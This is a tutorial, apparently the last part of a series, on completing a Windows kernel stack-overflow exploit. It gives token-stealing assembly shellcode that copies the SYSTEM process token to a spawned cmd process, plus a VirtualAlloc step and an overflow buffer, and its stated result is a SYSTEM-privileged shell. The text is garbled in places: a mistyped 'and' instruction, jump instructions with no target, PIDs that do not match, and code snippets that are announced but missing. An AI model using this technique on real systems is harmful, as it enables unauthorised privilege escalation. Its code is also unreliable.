Kernel Exploitation-By Blackhat Pakistan 2023
In this article we’ll combine the pieces together and provide some finishing touches to complete the exploit “Kernel Exploitation”.
In the last part of this series, we worked on copying the system token from the system process to the cmd process. The last part of the exploit that is often ignored is how to avoid the crash because we are dealing with ring 0. So we need to figure out where the execution should be redirected after the exploit. One of the best options available is to route back to the parent function as in the normal execution flow.
Related article:Prepaid Card Market Explodes
So now let’s put all the pieces together[Kernel Exploitation]
- First we get the driver handle which we saw how to do in part 1. Below is the code snippet for the same.
- The next step will be to get the IOCTL for the stack overflow. This is also discussed in Section 1.
The next step will be to search for the system process and replace the created process token with cmd. The system process will already run under PID 4 and since we need to copy the token from the system process to our cmd process. First we need to start the cmd process. Below is the code that uses the CreateProcess API to do this. - The STARTUPINFO structure is below and the Process_Information structure is shown below
Note: Please note how the dwProcessId member is referenced in the code.
If we run just the above snippet, we should get an output like the one below that the cmd process is created with PID 1628.
Is there a reason why we are extracting the PID from CMD? Any guesses. Yes, because when traversing the EPROCESS structures we look at the PID comparison of the cmd process created. This is explained in the function in the last article like this one
CMD_process_enumerate:
- Mov rdx, [rcx-8] // because UniqueProcessId is -8 from ActiveProcessLink.
- Cmp rdx, 1628 // Because rdx now contains PID . PID cmd 1628
- Jz // if found, jmp to SYSTEM_process_found stub
- Mov rcx ,[rcx] // move the current rcx pointer (which points to the next process)
- Jmp CMD_process_enumerate // continue enumeration
Now we need to insert the shell code created in the previous section. Below are the instructions for the shellcode
mov rdx, [gs: 188h] // this includes a pointer to the KPCRB structure
mov r8, [rdx + 70h] // this includes a pointer to KTHREAD
mov r9, [r8 + 188h] // r8 points to the EPROCESS header and 188h is the offset for ActiveProcessLink
mov rcx,[r9] // pointer to next process in list
system_process_enumerate:
Mov rdx, [rcx-8] // because UniqueProcessId is -8 from ActiveProcessLink.
Cmp rdx, 4 // Because rdx now contains PID . Comparison with process SYSTEM PID:4
Jz // if found, jmp to SYSTEM_process_found stub (discussed below)
Mov rcx ,[rcx] // move the current rcx pointer (which points to the next process)
Jmp System_process_enumerate // continue enumeration
SYSTEM_process_found: // reference from SYSTEM_process_enumerate
Mov rax, [rcx + 80h] //save process token
A al, 0f0h // clear the lower 4 bits
CMD_process_enumerate:
Mov rdx, [rcx-8] // because UniqueProcessId is -8 from ActiveProcessLink.
Cmp rdx, 4444 // Because rdx now contains PID . PID cmd 4444 (assume this for now)
Jz // if found, jmp to SYSTEM_process_found stub (discussed below)
Mov rcx ,[rcx] // move the current rcx pointer (which points to the next process)
Jmp CMD_process_enumerate // continue enumeration
CMD_process_found:
Mov [rcx+80h], rax // move SYSTEM token in rax to CMD token
And below is the shellcode for the same
Please note that how the PID of the cmd process will be passed to the shellcode to swap the toke obtained from the SYSTEM process under PID 4.
Then we need to allocate a buffer for the generated shellcode. We can do this using VirtualAlloc as shown below
Now we need to create a string buffer as shown below
Shellbof=create_string_buffer(A*2056 +struct.pack(“<Q”,buf))
Where buf is the return address of the shellcode buffer. Replace it with the IOCTL described in part 1 or point 2 above.
Note: Replace the first line.
Now we are ready to run the exploit. Once the script is run, a cmd is created, but with system process privileges.